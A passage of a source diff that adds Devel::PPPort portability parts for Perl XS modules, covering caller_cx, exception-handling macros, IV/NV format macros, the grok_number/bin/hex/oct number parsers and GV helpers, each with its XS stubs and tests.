+__UNDEFINED__ CopSTASH_set(c,hv) ((c)->cop_stash = (hv))
+__UNDEFINED__ CopSTASHPV(c) (CopSTASH(c) ? HvNAME(CopSTASH(c)) : Nullch)
+__UNDEFINED__ CopSTASHPV_set(c,pv) CopSTASH_set((c), gv_stashpv(pv,GV_ADD))
+__UNDEFINED__ CopSTASH_eq(c,hv) (CopSTASH(c) == (hv))
+
+#endif /* USE_ITHREADS */
+
+#if { VERSION >= 5.6.0 }
+#ifndef caller_cx
+
+# if defined(NEED_caller_cx) || defined(NEED_caller_cx_GLOBAL)
+static I32
+DPPP_dopoptosub_at(const PERL_CONTEXT *cxstk, I32 startingblock)
+{
+ I32 i;
+
+ for (i = startingblock; i >= 0; i--) {
+ register const PERL_CONTEXT * const cx = &cxstk[i];
+ switch (CxTYPE(cx)) {
+ default:
+ continue;
+ case CXt_EVAL:
+ case CXt_SUB:
+ case CXt_FORMAT:
+ return i;
+ }
+ }
+ return i;
+}
+# endif
+
+# if { NEED caller_cx }
+
+const PERL_CONTEXT *
+caller_cx(pTHX_ I32 count, const PERL_CONTEXT **dbcxp)
+{
+ register I32 cxix = DPPP_dopoptosub_at(cxstack, cxstack_ix);
+ register const PERL_CONTEXT *cx;
+ register const PERL_CONTEXT *ccstack = cxstack;
+ const PERL_SI *top_si = PL_curstackinfo;
+
+ for (;;) {
+ /* we may be in a higher stacklevel, so dig down deeper */
+ while (cxix < 0 && top_si->si_type != PERLSI_MAIN) {
+ top_si = top_si->si_prev;
+ ccstack = top_si->si_cxstack;
+ cxix = DPPP_dopoptosub_at(ccstack, top_si->si_cxix);
+ }
+ if (cxix < 0)
+ return NULL;
+ /* caller() should not report the automatic calls to &DB::sub */
+ if (PL_DBsub && GvCV(PL_DBsub) && cxix >= 0 &&
+ ccstack[cxix].blk_sub.cv == GvCV(PL_DBsub))
+ count++;
+ if (!count--)
+ break;
+ cxix = DPPP_dopoptosub_at(ccstack, cxix - 1);
+ }
+
+ cx = &ccstack[cxix];
+ if (dbcxp) *dbcxp = cx;
+
+ if (CxTYPE(cx) == CXt_SUB || CxTYPE(cx) == CXt_FORMAT) {
+ const I32 dbcxix = DPPP_dopoptosub_at(ccstack, cxix - 1);
+ /* We expect that ccstack[dbcxix] is CXt_SUB, anyway, the
+ field below is defined for any cx. */
+ /* caller() should not report the automatic calls to &DB::sub */
+ if (PL_DBsub && GvCV(PL_DBsub) && dbcxix >= 0 && ccstack[dbcxix].blk_sub.cv == GvCV(PL_DBsub))
+ cx = &ccstack[dbcxix];
+ }
+
+ return cx;
+}
+
+# endif
+#endif /* caller_cx */
+#endif /* 5.6.0 */
+
+=xsinit
+
+#define NEED_caller_cx
+
+=xsubs
+
+char *
+CopSTASHPV()
+ CODE:
+ RETVAL = CopSTASHPV(PL_curcop);
+ OUTPUT:
+ RETVAL
+
+char *
+CopFILE()
+ CODE:
+ RETVAL = CopFILE(PL_curcop);
+ OUTPUT:
+ RETVAL
+
+#if { VERSION >= 5.6.0 }
+
+void
+caller_cx(level)
+ I32 level
+ PREINIT:
+ const PERL_CONTEXT *cx, *dbcx;
+ const char *pv;
+ const GV *gv;
+ PPCODE:
+ cx = caller_cx(level, &dbcx);
+ if (!cx) XSRETURN_EMPTY;
+
+ EXTEND(SP, 4);
+
+ pv = CopSTASHPV(cx->blk_oldcop);
+ ST(0) = pv ? sv_2mortal(newSVpv(pv, 0)) : &PL_sv_undef;
+ gv = CvGV(cx->blk_sub.cv);
+ ST(1) = isGV(gv) ? sv_2mortal(newSVpv(GvNAME(gv), 0)) : &PL_sv_undef;
+
+ pv = CopSTASHPV(dbcx->blk_oldcop);
+ ST(2) = pv ? sv_2mortal(newSVpv(pv, 0)) : &PL_sv_undef;
+ gv = CvGV(dbcx->blk_sub.cv);
+ ST(3) = isGV(gv) ? sv_2mortal(newSVpv(GvNAME(gv), 0)) : &PL_sv_undef;
+
+ XSRETURN(4);
+
+#endif /* 5.6.0 */
+
+=tests plan => 28
+
+my $package;
+{
+ package MyPackage;
+ $package = &Devel::PPPort::CopSTASHPV();
+}
+print "# $package\n";
+ok($package, "MyPackage");
+
+my $file = &Devel::PPPort::CopFILE();
+print "# $file\n";
+ok($file =~ /cop/i);
+
+BEGIN {
+ if ($] < 5.006000) {
+ # Skip
+ for (1..28) {
+ ok(1, 1);
+ }
+ exit;
+ }
+}
+
+BEGIN {
+ package DB;
+ no strict "refs";
+ local $^P = 1;
+ sub sub { &$DB::sub }
+}
+
+{ package One; sub one { Devel::PPPort::caller_cx($_[0]) } }
+{
+ package Two;
+ sub two { One::one(@_) }
+ sub dbtwo {
+ BEGIN { $^P = 1 }
+ One::one(@_);
+ BEGIN { $^P = 0 }
+ }
+}
+
+for (
+ # This is rather confusing. The package is the package the call is
+ # made *from*, the sub name is the sub the call is made *to*. When
+ # DB::sub is involved the first call is to DB::sub from the calling
+ # package, the second is to the real sub from package DB.
+ [\&One::one, 0, qw/main one main one/],
+ [\&One::one, 2, ],
+ [\&Two::two, 0, qw/Two one Two one/],
+ [\&Two::two, 1, qw/main two main two/],
+ [\&Two::dbtwo, 0, qw/Two sub DB one/],
+ [\&Two::dbtwo, 1, qw/main dbtwo main dbtwo/],
+) {
+ my ($sub, $arg, @want) = @$_;
+ my @got = $sub->($arg);
+ ok(@got, @want);
+ for (0..$#want) {
+ ok($got[$_], $want[$_]);
+ }
+}
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/exception b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/exception
new file mode 100644
index 00000000000..8dd21cc70fa
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/exception
@@ -0,0 +1,68 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+dXCPT
+XCPT_TRY_START
+XCPT_TRY_END
+XCPT_CATCH
+XCPT_RETHROW
+
+=implementation
+
+#ifdef NO_XSLOCKS
+# ifdef dJMPENV
+# define dXCPT dJMPENV; int rEtV = 0
+# define XCPT_TRY_START JMPENV_PUSH(rEtV); if (rEtV == 0)
+# define XCPT_TRY_END JMPENV_POP;
+# define XCPT_CATCH if (rEtV != 0)
+# define XCPT_RETHROW JMPENV_JUMP(rEtV)
+# else
+# define dXCPT Sigjmp_buf oldTOP; int rEtV = 0
+# define XCPT_TRY_START Copy(top_env, oldTOP, 1, Sigjmp_buf); rEtV = Sigsetjmp(top_env, 1); if (rEtV == 0)
+# define XCPT_TRY_END Copy(oldTOP, top_env, 1, Sigjmp_buf);
+# define XCPT_CATCH if (rEtV != 0)
+# define XCPT_RETHROW Siglongjmp(top_env, rEtV)
+# endif
+#endif
+
+=xsmisc
+
+/* defined in module3.c */
+int exception(int throw_e);
+
+=xsubs
+
+int
+exception(throw_e)
+ int throw_e
+ OUTPUT:
+ RETVAL
+
+=tests plan => 7
+
+my $rv;
+
+$Devel::PPPort::exception_caught = undef;
+
+$rv = eval { &Devel::PPPort::exception(0) };
+ok($@, '');
+ok(defined $rv);
+ok($rv, 42);
+ok($Devel::PPPort::exception_caught, 0);
+
+$Devel::PPPort::exception_caught = undef;
+
+$rv = eval { &Devel::PPPort::exception(1) };
+ok($@, "boo\n");
+ok(not defined $rv);
+ok($Devel::PPPort::exception_caught, 1);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/format b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/format
new file mode 100644
index 00000000000..03c632d3baa
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/format
@@ -0,0 +1,63 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+/^#\s*define\s+(\w+)/
+
+=implementation
+
+#ifndef IVdf
+# if IVSIZE == LONGSIZE
+# define IVdf "ld"
+# define UVuf "lu"
+# define UVof "lo"
+# define UVxf "lx"
+# define UVXf "lX"
+# elif IVSIZE == INTSIZE
+# define IVdf "d"
+# define UVuf "u"
+# define UVof "o"
+# define UVxf "x"
+# define UVXf "X"
+# else
+# error "cannot define IV/UV formats"
+# endif
+#endif
+
+#ifndef NVef
+# if defined(USE_LONG_DOUBLE) && defined(HAS_LONG_DOUBLE) && \
+ defined(PERL_PRIfldbl) && { VERSION != 5.6.0 }
+ /* Not very likely, but let's try anyway. */
+# define NVef PERL_PRIeldbl
+# define NVff PERL_PRIfldbl
+# define NVgf PERL_PRIgldbl
+# else
+# define NVef "e"
+# define NVff "f"
+# define NVgf "g"
+# endif
+#endif
+
+=xsubs
+
+void
+croak_NVgf(num)
+ NV num
+ PPCODE:
+ Perl_croak(aTHX_ "%.20" NVgf "\n", num);
+
+=tests plan => 1
+
+my $num = 1.12345678901234567890;
+
+eval { Devel::PPPort::croak_NVgf($num) };
+ok($@ =~ /^1.1234567890/);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/grok b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/grok
new file mode 100644
index 00000000000..9ca6627f1af
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/grok
@@ -0,0 +1,670 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+grok_hex
+grok_oct
+grok_bin
+grok_numeric_radix
+grok_number
+__UNDEFINED__
+
+=implementation
+
+__UNDEFINED__ IN_PERL_COMPILETIME (PL_curcop == &PL_compiling)
+__UNDEFINED__ IN_LOCALE_RUNTIME (PL_curcop->op_private & HINT_LOCALE)
+__UNDEFINED__ IN_LOCALE_COMPILETIME (PL_hints & HINT_LOCALE)
+__UNDEFINED__ IN_LOCALE (IN_PERL_COMPILETIME ? IN_LOCALE_COMPILETIME : IN_LOCALE_RUNTIME)
+
+__UNDEFINED__ IS_NUMBER_IN_UV 0x01
+__UNDEFINED__ IS_NUMBER_GREATER_THAN_UV_MAX 0x02
+__UNDEFINED__ IS_NUMBER_NOT_INT 0x04
+__UNDEFINED__ IS_NUMBER_NEG 0x08
+__UNDEFINED__ IS_NUMBER_INFINITY 0x10
+__UNDEFINED__ IS_NUMBER_NAN 0x20
+
+__UNDEFINED__ GROK_NUMERIC_RADIX(sp, send) grok_numeric_radix(sp, send)
+
+__UNDEFINED__ PERL_SCAN_GREATER_THAN_UV_MAX 0x02
+__UNDEFINED__ PERL_SCAN_SILENT_ILLDIGIT 0x04
+__UNDEFINED__ PERL_SCAN_ALLOW_UNDERSCORES 0x01
+__UNDEFINED__ PERL_SCAN_DISALLOW_PREFIX 0x02
+
+#ifndef grok_numeric_radix
+#if { NEED grok_numeric_radix }
+bool
+grok_numeric_radix(pTHX_ const char **sp, const char *send)
+{
+#ifdef USE_LOCALE_NUMERIC
+#ifdef PL_numeric_radix_sv
+ if (PL_numeric_radix_sv && IN_LOCALE) {
+ STRLEN len;
+ char* radix = SvPV(PL_numeric_radix_sv, len);
+ if (*sp + len <= send && memEQ(*sp, radix, len)) {
+ *sp += len;
+ return TRUE;
+ }
+ }
+#else
+ /* older perls don't have PL_numeric_radix_sv so the radix
+ * must manually be requested from locale.h
+ */
+#include <locale.h>
+ dTHR; /* needed for older threaded perls */
+ struct lconv *lc = localeconv();
+ char *radix = lc->decimal_point;
+ if (radix && IN_LOCALE) {
+ STRLEN len = strlen(radix);
+ if (*sp + len <= send && memEQ(*sp, radix, len)) {
+ *sp += len;
+ return TRUE;
+ }
+ }
+#endif
+#endif /* USE_LOCALE_NUMERIC */
+ /* always try "." if numeric radix didn't match because
+ * we may have data from different locales mixed */
+ if (*sp < send && **sp == '.') {
+ ++*sp;
+ return TRUE;
+ }
+ return FALSE;
+}
+#endif
+#endif
+
+#ifndef grok_number
+#if { NEED grok_number }
+int
+grok_number(pTHX_ const char *pv, STRLEN len, UV *valuep)
+{
+ const char *s = pv;
+ const char *send = pv + len;
+ const UV max_div_10 = UV_MAX / 10;
+ const char max_mod_10 = UV_MAX % 10;
+ int numtype = 0;
+ int sawinf = 0;
+ int sawnan = 0;
+
+ while (s < send && isSPACE(*s))
+ s++;
+ if (s == send) {
+ return 0;
+ } else if (*s == '-') {
+ s++;
+ numtype = IS_NUMBER_NEG;
+ }
+ else if (*s == '+')
+ s++;
+
+ if (s == send)
+ return 0;
+
+ /* next must be digit or the radix separator or beginning of infinity */
+ if (isDIGIT(*s)) {
+ /* UVs are at least 32 bits, so the first 9 decimal digits cannot
+ overflow. */
+ UV value = *s - '0';
+ /* This construction seems to be more optimiser friendly.
+ (without it gcc does the isDIGIT test and the *s - '0' separately)
+ With it gcc on arm is managing 6 instructions (6 cycles) per digit.
+ In theory the optimiser could deduce how far to unroll the loop
+ before checking for overflow. */
+ if (++s < send) {
+ int digit = *s - '0';
+ if (digit >= 0 && digit <= 9) {
+ value = value * 10 + digit;
+ if (++s < send) {
+ digit = *s - '0';
+ if (digit >= 0 && digit <= 9) {
+ value = value * 10 + digit;
+ if (++s < send) {
+ digit = *s - '0';
+ if (digit >= 0 && digit <= 9) {
+ value = value * 10 + digit;
+ if (++s < send) {
+ digit = *s - '0';
+ if (digit >= 0 && digit <= 9) {
+ value = value * 10 + digit;
+ if (++s < send) {
+ digit = *s - '0';
+ if (digit >= 0 && digit <= 9) {
+ value = value * 10 + digit;
+ if (++s < send) {
+ digit = *s - '0';
+ if (digit >= 0 && digit <= 9) {
+ value = value * 10 + digit;
+ if (++s < send) {
+ digit = *s - '0';
+ if (digit >= 0 && digit <= 9) {
+ value = value * 10 + digit;
+ if (++s < send) {
+ digit = *s - '0';
+ if (digit >= 0 && digit <= 9) {
+ value = value * 10 + digit;
+ if (++s < send) {
+ /* Now got 9 digits, so need to check
+ each time for overflow. */
+ digit = *s - '0';
+ while (digit >= 0 && digit <= 9
+ && (value < max_div_10
+ || (value == max_div_10
+ && digit <= max_mod_10))) {
+ value = value * 10 + digit;
+ if (++s < send)
+ digit = *s - '0';
+ else
+ break;
+ }
+ if (digit >= 0 && digit <= 9
+ && (s < send)) {
+ /* value overflowed.
+ skip the remaining digits, don't
+ worry about setting *valuep. */
+ do {
+ s++;
+ } while (s < send && isDIGIT(*s));
+ numtype |=
+ IS_NUMBER_GREATER_THAN_UV_MAX;
+ goto skip_value;
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ numtype |= IS_NUMBER_IN_UV;
+ if (valuep)
+ *valuep = value;
+
+ skip_value:
+ if (GROK_NUMERIC_RADIX(&s, send)) {
+ numtype |= IS_NUMBER_NOT_INT;
+ while (s < send && isDIGIT(*s)) /* optional digits after the radix */
+ s++;
+ }
+ }
+ else if (GROK_NUMERIC_RADIX(&s, send)) {
+ numtype |= IS_NUMBER_NOT_INT | IS_NUMBER_IN_UV; /* valuep assigned below */
+ /* no digits before the radix means we need digits after it */
+ if (s < send && isDIGIT(*s)) {
+ do {
+ s++;
+ } while (s < send && isDIGIT(*s));
+ if (valuep) {
+ /* integer approximation is valid - it's 0. */
+ *valuep = 0;
+ }
+ }
+ else
+ return 0;
+ } else if (*s == 'I' || *s == 'i') {
+ s++; if (s == send || (*s != 'N' && *s != 'n')) return 0;
+ s++; if (s == send || (*s != 'F' && *s != 'f')) return 0;
+ s++; if (s < send && (*s == 'I' || *s == 'i')) {
+ s++; if (s == send || (*s != 'N' && *s != 'n')) return 0;
+ s++; if (s == send || (*s != 'I' && *s != 'i')) return 0;
+ s++; if (s == send || (*s != 'T' && *s != 't')) return 0;
+ s++; if (s == send || (*s != 'Y' && *s != 'y')) return 0;
+ s++;
+ }
+ sawinf = 1;
+ } else if (*s == 'N' || *s == 'n') {
+ /* XXX TODO: There are signaling NaNs and quiet NaNs. */
+ s++; if (s == send || (*s != 'A' && *s != 'a')) return 0;
+ s++; if (s == send || (*s != 'N' && *s != 'n')) return 0;
+ s++;
+ sawnan = 1;
+ } else
+ return 0;
+
+ if (sawinf) {
+ numtype &= IS_NUMBER_NEG; /* Keep track of sign */
+ numtype |= IS_NUMBER_INFINITY | IS_NUMBER_NOT_INT;
+ } else if (sawnan) {
+ numtype &= IS_NUMBER_NEG; /* Keep track of sign */
+ numtype |= IS_NUMBER_NAN | IS_NUMBER_NOT_INT;
+ } else if (s < send) {
+ /* we can have an optional exponent part */
+ if (*s == 'e' || *s == 'E') {
+ /* The only flag we keep is sign. Blow away any "it's UV" */
+ numtype &= IS_NUMBER_NEG;
+ numtype |= IS_NUMBER_NOT_INT;
+ s++;
+ if (s < send && (*s == '-' || *s == '+'))
+ s++;
+ if (s < send && isDIGIT(*s)) {
+ do {
+ s++;
+ } while (s < send && isDIGIT(*s));
+ }
+ else
+ return 0;
+ }
+ }
+ while (s < send && isSPACE(*s))
+ s++;
+ if (s >= send)
+ return numtype;
+ if (len == 10 && memEQ(pv, "0 but true", 10)) {
+ if (valuep)
+ *valuep = 0;
+ return IS_NUMBER_IN_UV;
+ }
+ return 0;
+}
+#endif
+#endif
+
+/*
+ * The grok_* routines have been modified to use warn() instead of
+ * Perl_warner(). Also, 'hexdigit' was the former name of PL_hexdigit,
+ * which is why the stack variable has been renamed to 'xdigit'.
+ */
+
+#ifndef grok_bin
+#if { NEED grok_bin }
+UV
+grok_bin(pTHX_ const char *start, STRLEN *len_p, I32 *flags, NV *result)
+{
+ const char *s = start;
+ STRLEN len = *len_p;
+ UV value = 0;
+ NV value_nv = 0;
+
+ const UV max_div_2 = UV_MAX / 2;
+ bool allow_underscores = *flags & PERL_SCAN_ALLOW_UNDERSCORES;
+ bool overflowed = FALSE;
+
+ if (!(*flags & PERL_SCAN_DISALLOW_PREFIX)) {
+ /* strip off leading b or 0b.
+ for compatibility silently suffer "b" and "0b" as valid binary
+ numbers. */
+ if (len >= 1) {
+ if (s[0] == 'b') {
+ s++;
+ len--;
+ }
+ else if (len >= 2 && s[0] == '0' && s[1] == 'b') {
+ s+=2;
+ len-=2;
+ }
+ }
+ }
+
+ for (; len-- && *s; s++) {
+ char bit = *s;
+ if (bit == '0' || bit == '1') {
+ /* Write it in this wonky order with a goto to attempt to get the
+ compiler to make the common case integer-only loop pretty tight.
+ With gcc seems to be much straighter code than old scan_bin. */
+ redo:
+ if (!overflowed) {
+ if (value <= max_div_2) {
+ value = (value << 1) | (bit - '0');
+ continue;
+ }
+ /* Bah. We're just overflowed. */
+ warn("Integer overflow in binary number");
+ overflowed = TRUE;
+ value_nv = (NV) value;
+ }
+ value_nv *= 2.0;
+ /* If an NV has not enough bits in its mantissa to
+ * represent a UV this summing of small low-order numbers
+ * is a waste of time (because the NV cannot preserve
+ * the low-order bits anyway): we could just remember when
+ * did we overflow and in the end just multiply value_nv by the
+ * right amount. */
+ value_nv += (NV)(bit - '0');
+ continue;
+ }
+ if (bit == '_' && len && allow_underscores && (bit = s[1])
+ && (bit == '0' || bit == '1'))
+ {
+ --len;
+ ++s;
+ goto redo;
+ }
+ if (!(*flags & PERL_SCAN_SILENT_ILLDIGIT))
+ warn("Illegal binary digit '%c' ignored", *s);
+ break;
+ }
+
+ if ( ( overflowed && value_nv > 4294967295.0)
+#if UVSIZE > 4
+ || (!overflowed && value > 0xffffffff )
+#endif
+ ) {
+ warn("Binary number > 0b11111111111111111111111111111111 non-portable");
+ }
+ *len_p = s - start;
+ if (!overflowed) {
+ *flags = 0;
+ return value;
+ }
+ *flags = PERL_SCAN_GREATER_THAN_UV_MAX;
+ if (result)
+ *result = value_nv;
+ return UV_MAX;
+}
+#endif
+#endif
+
+#ifndef grok_hex
+#if { NEED grok_hex }
+UV
+grok_hex(pTHX_ const char *start, STRLEN *len_p, I32 *flags, NV *result)
+{
+ const char *s = start;
+ STRLEN len = *len_p;
+ UV value = 0;
+ NV value_nv = 0;
+
+ const UV max_div_16 = UV_MAX / 16;
+ bool allow_underscores = *flags & PERL_SCAN_ALLOW_UNDERSCORES;
+ bool overflowed = FALSE;
+ const char *xdigit;
+
+ if (!(*flags & PERL_SCAN_DISALLOW_PREFIX)) {
+ /* strip off leading x or 0x.
+ for compatibility silently suffer "x" and "0x" as valid hex numbers.
+ */
+ if (len >= 1) {
+ if (s[0] == 'x') {
+ s++;
+ len--;
+ }
+ else if (len >= 2 && s[0] == '0' && s[1] == 'x') {
+ s+=2;
+ len-=2;
+ }
+ }
+ }
+
+ for (; len-- && *s; s++) {
+ xdigit = strchr((char *) PL_hexdigit, *s);
+ if (xdigit) {
+ /* Write it in this wonky order with a goto to attempt to get the
+ compiler to make the common case integer-only loop pretty tight.
+ With gcc seems to be much straighter code than old scan_hex. */
+ redo:
+ if (!overflowed) {
+ if (value <= max_div_16) {
+ value = (value << 4) | ((xdigit - PL_hexdigit) & 15);
+ continue;
+ }
+ warn("Integer overflow in hexadecimal number");
+ overflowed = TRUE;
+ value_nv = (NV) value;
+ }
+ value_nv *= 16.0;
+ /* If an NV has not enough bits in its mantissa to
+ * represent a UV this summing of small low-order numbers
+ * is a waste of time (because the NV cannot preserve
+ * the low-order bits anyway): we could just remember when
+ * did we overflow and in the end just multiply value_nv by the
+ * right amount of 16-tuples. */
+ value_nv += (NV)((xdigit - PL_hexdigit) & 15);
+ continue;
+ }
+ if (*s == '_' && len && allow_underscores && s[1]
+ && (xdigit = strchr((char *) PL_hexdigit, s[1])))
+ {
+ --len;
+ ++s;
+ goto redo;
+ }
+ if (!(*flags & PERL_SCAN_SILENT_ILLDIGIT))
+ warn("Illegal hexadecimal digit '%c' ignored", *s);
+ break;
+ }
+
+ if ( ( overflowed && value_nv > 4294967295.0)
+#if UVSIZE > 4
+ || (!overflowed && value > 0xffffffff )
+#endif
+ ) {
+ warn("Hexadecimal number > 0xffffffff non-portable");
+ }
+ *len_p = s - start;
+ if (!overflowed) {
+ *flags = 0;
+ return value;
+ }
+ *flags = PERL_SCAN_GREATER_THAN_UV_MAX;
+ if (result)
+ *result = value_nv;
+ return UV_MAX;
+}
+#endif
+#endif
+
+#ifndef grok_oct
+#if { NEED grok_oct }
+UV
+grok_oct(pTHX_ const char *start, STRLEN *len_p, I32 *flags, NV *result)
+{
+ const char *s = start;
+ STRLEN len = *len_p;
+ UV value = 0;
+ NV value_nv = 0;
+
+ const UV max_div_8 = UV_MAX / 8;
+ bool allow_underscores = *flags & PERL_SCAN_ALLOW_UNDERSCORES;
+ bool overflowed = FALSE;
+
+ for (; len-- && *s; s++) {
+ /* gcc 2.95 optimiser not smart enough to figure that this subtraction
+ out front allows slicker code. */
+ int digit = *s - '0';
+ if (digit >= 0 && digit <= 7) {
+ /* Write it in this wonky order with a goto to attempt to get the
+ compiler to make the common case integer-only loop pretty tight.
+ */
+ redo:
+ if (!overflowed) {
+ if (value <= max_div_8) {
+ value = (value << 3) | digit;
+ continue;
+ }
+ /* Bah. We're just overflowed. */
+ warn("Integer overflow in octal number");
+ overflowed = TRUE;
+ value_nv = (NV) value;
+ }
+ value_nv *= 8.0;
+ /* If an NV has not enough bits in its mantissa to
+ * represent a UV this summing of small low-order numbers
+ * is a waste of time (because the NV cannot preserve
+ * the low-order bits anyway): we could just remember when
+ * did we overflow and in the end just multiply value_nv by the
+ * right amount of 8-tuples. */
+ value_nv += (NV)digit;
+ continue;
+ }
+ if (digit == ('_' - '0') && len && allow_underscores
+ && (digit = s[1] - '0') && (digit >= 0 && digit <= 7))
+ {
+ --len;
+ ++s;
+ goto redo;
+ }
+ /* Allow \octal to work the DWIM way (that is, stop scanning
+ * as soon as non-octal characters are seen, complain only iff
+ * someone seems to want to use the digits eight and nine). */
+ if (digit == 8 || digit == 9) {
+ if (!(*flags & PERL_SCAN_SILENT_ILLDIGIT))
+ warn("Illegal octal digit '%c' ignored", *s);
+ }
+ break;
+ }
+
+ if ( ( overflowed && value_nv > 4294967295.0)
+#if UVSIZE > 4
+ || (!overflowed && value > 0xffffffff )
+#endif
+ ) {
+ warn("Octal number > 037777777777 non-portable");
+ }
+ *len_p = s - start;
+ if (!overflowed) {
+ *flags = 0;
+ return value;
+ }
+ *flags = PERL_SCAN_GREATER_THAN_UV_MAX;
+ if (result)
+ *result = value_nv;
+ return UV_MAX;
+}
+#endif
+#endif
+
+=xsinit
+
+#define NEED_grok_number
+#define NEED_grok_numeric_radix
+#define NEED_grok_bin
+#define NEED_grok_hex
+#define NEED_grok_oct
+
+=xsubs
+
+UV
+grok_number(string)
+ SV *string
+ PREINIT:
+ const char *pv;
+ STRLEN len;
+ CODE:
+ pv = SvPV(string, len);
+ if (!grok_number(pv, len, &RETVAL))
+ XSRETURN_UNDEF;
+ OUTPUT:
+ RETVAL
+
+UV
+grok_bin(string)
+ SV *string
+ PREINIT:
+ char *pv;
+ I32 flags = 0;
+ STRLEN len;
+ CODE:
+ pv = SvPV(string, len);
+ RETVAL = grok_bin(pv, &len, &flags, NULL);
+ OUTPUT:
+ RETVAL
+
+UV
+grok_hex(string)
+ SV *string
+ PREINIT:
+ char *pv;
+ I32 flags = 0;
+ STRLEN len;
+ CODE:
+ pv = SvPV(string, len);
+ RETVAL = grok_hex(pv, &len, &flags, NULL);
+ OUTPUT:
+ RETVAL
+
+UV
+grok_oct(string)
+ SV *string
+ PREINIT:
+ char *pv;
+ I32 flags = 0;
+ STRLEN len;
+ CODE:
+ pv = SvPV(string, len);
+ RETVAL = grok_oct(pv, &len, &flags, NULL);
+ OUTPUT:
+ RETVAL
+
+UV
+Perl_grok_number(string)
+ SV *string
+ PREINIT:
+ const char *pv;
+ STRLEN len;
+ CODE:
+ pv = SvPV(string, len);
+ if (!Perl_grok_number(aTHX_ pv, len, &RETVAL))
+ XSRETURN_UNDEF;
+ OUTPUT:
+ RETVAL
+
+UV
+Perl_grok_bin(string)
+ SV *string
+ PREINIT:
+ char *pv;
+ I32 flags = 0;
+ STRLEN len;
+ CODE:
+ pv = SvPV(string, len);
+ RETVAL = Perl_grok_bin(aTHX_ pv, &len, &flags, NULL);
+ OUTPUT:
+ RETVAL
+
+UV
+Perl_grok_hex(string)
+ SV *string
+ PREINIT:
+ char *pv;
+ I32 flags = 0;
+ STRLEN len;
+ CODE:
+ pv = SvPV(string, len);
+ RETVAL = Perl_grok_hex(aTHX_ pv, &len, &flags, NULL);
+ OUTPUT:
+ RETVAL
+
+UV
+Perl_grok_oct(string)
+ SV *string
+ PREINIT:
+ char *pv;
+ I32 flags = 0;
+ STRLEN len;
+ CODE:
+ pv = SvPV(string, len);
+ RETVAL = Perl_grok_oct(aTHX_ pv, &len, &flags, NULL);
+ OUTPUT:
+ RETVAL
+
+=tests plan => 10
+
+ok(&Devel::PPPort::grok_number("42"), 42);
+ok(!defined(&Devel::PPPort::grok_number("A")));
+ok(&Devel::PPPort::grok_bin("10000001"), 129);
+ok(&Devel::PPPort::grok_hex("deadbeef"), 0xdeadbeef);
+ok(&Devel::PPPort::grok_oct("377"), 255);
+
+ok(&Devel::PPPort::Perl_grok_number("42"), 42);
+ok(!defined(&Devel::PPPort::Perl_grok_number("A")));
+ok(&Devel::PPPort::Perl_grok_bin("10000001"), 129);
+ok(&Devel::PPPort::Perl_grok_hex("deadbeef"), 0xdeadbeef);
+ok(&Devel::PPPort::Perl_grok_oct("377"), 255);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/gv b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/gv
new file mode 100644
index 00000000000..d2f526f416f
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/gv
@@ -0,0 +1,141 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+gv_fetchpvn_flags
+
+=implementation
+
+#ifndef gv_fetchpvn_flags
+#if { NEED gv_fetchpvn_flags }
+
+GV*
+gv_fetchpvn_flags(pTHX_ const char* name, STRLEN len, int flags, int types) {
+ char *namepv = savepvn(name, len);
+ GV* stash = gv_fetchpv(namepv, TRUE, SVt_PVHV);
+ Safefree(namepv);
+ return stash;
+}
+
+#endif
+#endif
+
+__UNDEFINED__ GvSVn(gv) GvSV(gv)
+__UNDEFINED__ isGV_with_GP(gv) isGV(gv)
+__UNDEFINED__ gv_fetchsv(name, flags, svt) gv_fetchpv(SvPV_nolen_const(name), flags, svt)
+
+__UNDEFINED__ get_cvn_flags(name, namelen, flags) get_cv(name, flags)
+__UNDEFINED__ gv_init_pvn(gv, stash, ptr, len, flags) gv_init(gv, stash, ptr, len, flags & GV_ADDMULTI ? TRUE : FALSE)
+
+=xsinit
+
+#define NEED_gv_fetchpvn_flags
+
+=xsubs
+
+int
+GvSVn()
+ PREINIT:
+ GV* gv;
+ CODE:
+ RETVAL = 0;
+ gv = gv_fetchpvs("Devel::PPPort::GvTest", GV_ADDMULTI, SVt_PVGV);
+ if (GvSVn(gv) != NULL)
+ {
+ RETVAL++;
+ }
+ OUTPUT:
+ RETVAL
+
+int
